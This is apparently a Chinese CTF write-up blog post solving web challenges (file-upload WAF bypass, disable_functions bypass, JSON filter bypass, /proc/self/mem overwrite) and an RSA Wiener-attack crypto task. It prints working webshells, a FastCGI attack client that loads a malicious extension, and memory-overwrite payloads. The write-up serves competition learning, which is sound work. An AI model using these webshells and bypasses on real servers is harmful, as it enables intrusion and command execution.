tcl!日常自闭😭

web

集中式网盘系统

宝塔 apache防火墙 赵总np! 文件头检测 gif好像不行 换png可以穿上

image-20201013174416591

或者这样 连接的时候访问%25a.php waf url解码出错绕过上传

image-20201013192553483

穿上还连不上 哭了 找到:https://github.com/AntSwordProject/AwesomeEncoder

用的是base64加密 shell模板

1
<?php @eval(base64_decode($_POST['ant']));?>

改下特征很明显的UA 在modules/request.js 接着就该绕disable_function和open_basedir了

加载lua脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
require "string"

function handle(r)
r.content_type = "text/plain"
local t = io.popen('/readflag')
local a = t:read("*all")
r:puts(a)

if r.method == 'GET' then
for k, v in pairs( r:parseargs() ) do
r:puts( string.format("%s: %s\n", k, v) )
end
else
r:puts("Unsupported HTTP method " .. r.method)
end
end

上传.htaccess

1
AddHandler lua-script .lua

直接访问lua脚本就能getflag

或者攻击fastcgi加载恶意so exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
<?php 
error_reporting(0);
class Client
{
const VERSION_1 = 1;
const BEGIN_REQUEST = 1;
const PARAMS = 4;
const STDIN = 5;
const STDOUT = 6;
const STDERR = 7;
const DATA = 8;
const GET_VALUES = 9;
const GET_VALUES_RESULT = 10;
const UNKNOWN_TYPE = 11;
const RESPONDER = 1;
protected $keepAlive = false;
protected $_requests = array();
protected $_requestCounter = 0;
protected function buildPacket($type, $content, $requestId = 1)
{
$offset = 0;
$totLen = strlen($content);
$buf = '';
do {
// Packets can be a maximum of 65535 bytes
$part = substr($content, $offset, 0xffff - 8);
$segLen = strlen($part);
$buf .= chr(self::VERSION_1) /* version */
. chr($type) /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF) /* requestIdB0 */
. chr(($segLen >> 8) & 0xFF) /* contentLengthB1 */
. chr($segLen & 0xFF) /* contentLengthB0 */
. chr(0) /* paddingLength */
. chr(0) /* reserved */
. $part; /* content */
$offset += $segLen;
} while ($offset < $totLen);
return $buf;
}
protected function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
protected function readNvpair($data, $length = null)
{
if ($length === null) {
$length = strlen($data);
}
$array = array();
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
public function buildAllPacket(array $params, $stdin)
{
// Ensure new requestID is not already being tracked
do {
$this->_requestCounter++;
if ($this->_requestCounter >= 65536 /* or (1 << 16) */) {
$this->_requestCounter = 1;
}
$id = $this->_requestCounter;
} while (isset($this->_requests[$id]));
$request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->keepAlive) . str_repeat(chr(0), 5), $id);
$paramsRequest = '';
foreach ($params as $key => $value) {
$paramsRequest .= $this->buildNvpair($key, $value, $id);
}
if ($paramsRequest) {
$request .= $this->buildPacket(self::PARAMS, $paramsRequest, $id);
}
$request .= $this->buildPacket(self::PARAMS, '', $id);
if ($stdin) {
$request .= $this->buildPacket(self::STDIN, $stdin, $id);
}
$request .= $this->buildPacket(self::STDIN, '', $id);
return $request;
}
}
$sock = stream_socket_client("unix:///tmp/php-cgi-74.sock", $errno, $errstr);
$client = new Client();
$payload_file = "/www/wwwroot/10.20.124.208/sandbox/g4e0iupg8df1gombtbs2pkadl1/upload/1.php";
$params = array(
'REQUEST_METHOD' => 'GET',
'SCRIPT_FILENAME' => $payload_file,
'PHP_ADMIN_VALUE' => "extension_dir = /tmp\nextension = mb.so",
//这里$payload_file。是我们调用恶意so执行的php命令。extension_dir是扩展目录extension是扩展名
);
$data = $client->buildAllPacket($params, '');
fwrite($sock, $data);
var_dump(fread($sock, 4096));
antsystem('/readflag');
?>

https://github.com/AntSwordProject/ant_php_extension

编译成so文件上传到/tmp 注意php版本要一样 kali安装phpsize

1
apt install php7.4-dev

这样我们就有个antsystem函数可以用来执行命令了

Easyjson

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include 'security.php';

if(!isset($_GET['source'])){
show_source(__FILE__);
die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
mkdir($sandbox);
file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" && SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
$content = json_decode($content);
$filename = $_GET['filename'];
$filecontent = $content->content;
$filename = $sandbox.$filename;
file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
$files = scandir($sandbox);
foreach($files as $file) {
if(!is_dir($file)){
if($file !== "index.php"){
unlink($sandbox.$file);
}
}
}
}
else{
die('Security Check Failed.');
}

直接unicode编码绕过:

image-20201013205216586

unicode部分是:

1
{"content":"<?php system('/readflag');?>"}

getshell后没什么限制直接拿flag了

Flagshop

抓包会发现一个任意文件读取 php伪协议读源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// backend.php?readfile=php://filter/convert.base64-encode/resource=backend.php
<?php
$offset = isset($_GET['offset']) ? $_GET['offset'] : 0;
$buffer = isset($_GET['buffer']) ? $_GET['buffer'] : "";

if (isset($_GET['writefile'])) {
$fp = fopen($_GET['writefile'], "a");
fseek($fp, $offset);
fwrite($fp, $buffer);
fclose($fp);
}

if (isset($_GET['readfile'])) {
echo file_get_contents($_GET['readfile']);
}

这题是读内存 写内存 linux万物皆是文件 webpwn:https://github.com/beched/php_disable_functions_bypass

/proc/self/maps 该文件包含了当前进程映射的内存区域以及它们的访问权限 查看动态链接库的位置

1
strings maps | grep "libc-"

image-20201014191534607

并记录libc的地址 接着读/lib/x86_64-linux-gnu/libc-2.19.so 并查看system函数的地址

image-20201014193541224

动态链接库的地址加上system的偏移就能计算出system函数的地址。

1
2
3
4
<?php
echo dechex(0x7ffff5f40000+0x0000000000046590);
// 0x7ffff5f86590
?>

计算open函数的偏移 需要/proc/pid/exe文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
$open_php = parseelf('exe', true);
echo $open_php;
//结果:15333784
?>

/proc/self/mem文件是进程的内存内容,通过修改该文件相当于直接修改当前进程的内存。该文件不能直接读取,需要结合maps的映射信息来确定读的偏移值。即无法读取未被映射的区域,只有读取的偏移值是被映射的区域才能正确读取内存内容。

我们知道system函数的地址,我们就可以将open函数的地址替换为system函数的地址,我们在file_get_contents传入参数为系统命令实际执行的却是system函数,将readflag的结果输出到文件。

构造payload:

1
backend.php?readfile=/readflag>/tmp/mb&writefile=/proc/self/mem&buffer=%90%65%f8%f5%ff%7f&offset=15333784

捋下思路 向/proc/self/mem文件即内存 open函数(file_get_contents会调用该方法)的地址位置写入system的地址 从而实现调用file_get_contents函数调用system函数的作用

crypto

BrokenSystems

维纳攻击得到d 根据d求p q 生成私钥解密加密文件 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import os
import gmpy2
from Crypto.Util.number import *
import random
import sys
sys.setrecursionlimit(1000000)
def rational_to_contfrac (x, y):
'''
Converts a rational x/y fraction into
a list of partial quotients [a0, ..., an]
'''
a = x//y
if a * y == x:
return [a]
else:
pquotients = rational_to_contfrac(y, x - a * y)
pquotients.insert(0, a)
return pquotients
def convergents_from_contfrac(frac):
'''
computes the list of convergents
using the list of partial quotients
'''
convs = [];
for i in range(len(frac)):
convs.append(contfrac_to_rational(frac[0:i]))
return convs

def contfrac_to_rational (frac):
'''Converts a finite continued fraction [a0, ..., an]
to an x/y rational.
'''
if len(frac) == 0:
return (0,1)
elif len(frac) == 1:
return (frac[0], 1)
else:
remainder = frac[1:len(frac)]
(num, denom) = contfrac_to_rational(remainder)
# fraction is now frac[0] + 1/(num/denom), which is
# frac[0] + denom/num.
return (frac[0] * num + denom, num)

def egcd(a,b):
'''
Extended Euclidean Algorithm
returns x, y, gcd(a,b) such that ax + by = gcd(a,b)
'''
u, u1 = 1, 0
v, v1 = 0, 1
while b:
q = a // b
u, u1 = u1, u - q * u1
v, v1 = v1, v - q * v1
a, b = b, a - q * b
return u, v, a
def gcd(a,b):
'''
2.8 times faster than egcd(a,b)[2]
'''
a,b=(b,a) if a<b else (a,b)
while b:
a,b=b,a%b
return a
def modInverse(e,n):
'''
d such that de = 1 (mod n)
e must be coprime to n
this is assumed to be true
'''
return egcd(e,n)[0]%n
def totient(p,q):
'''
Calculates the totient of pq
'''
return (p-1)*(q-1)
def bitlength(x):
'''
Calculates the bitlength of x
'''
assert x >= 0
n = 0
while x > 0:
n = n+1
x = x>>1
return n
def isqrt(n):
'''
Calculates the integer square root
for arbitrary large nonnegative integers
'''
if n < 0:
raise ValueError('square root not defined for negative numbers')

if n == 0:
return 0
a, b = divmod(bitlength(n), 2)
x = 2**(a+b)
while True:
y = (x + n//x)//2
if y >= x:
return x
x = y

def is_perfect_square(n):
'''
If n is a perfect square it returns sqrt(n),

otherwise returns -1
'''
h = n & 0xF; #last hexadecimal "digit"

if h > 9:
return -1 # return immediately in 6 cases out of 16.
# Take advantage of Boolean short-circuit evaluation
if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ):
# take square root if you must
t = isqrt(n)
if t*t == n:
return t
else:
return -1

return -1

def hack_RSA(e,n):
frac = rational_to_contfrac(e, n)
convergents = convergents_from_contfrac(frac)

for (k,d) in convergents:
#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("\nHacked!")
return d




rsakey=RSA.importKey(open("public.key","r").read())
n=rsakey.n
e=rsakey.e
print(n,e)
d=hack_RSA(e,n)
print ("d=")
print (d)

def getpq(n,e,d):
p = 1
q = 1
while p==1 and q==1:
k = d * e - 1
g = random.randint ( 0 , n )
while p==1 and q==1 and k % 2 == 0:
k //= 2
y = pow(g,k,n)
if y!=1 and gcd(y-1,n)>1:
p = gcd(y-1,n)
q = n//p
return p,q
p,q=getpq(n,e,d)
f=open("message","rb")
rsa_components=(n,e,int(d),p,q)
arsa=RSA.construct(rsa_components)
rsakey = RSA.importKey(arsa.exportKey())
rsakey = PKCS1_OAEP.new(rsakey)
decrypted = rsakey.decrypt(f.read())
print(decrypted)

参考:

http://www.plasf.cn/articles/d5a07c1f3f.html

评论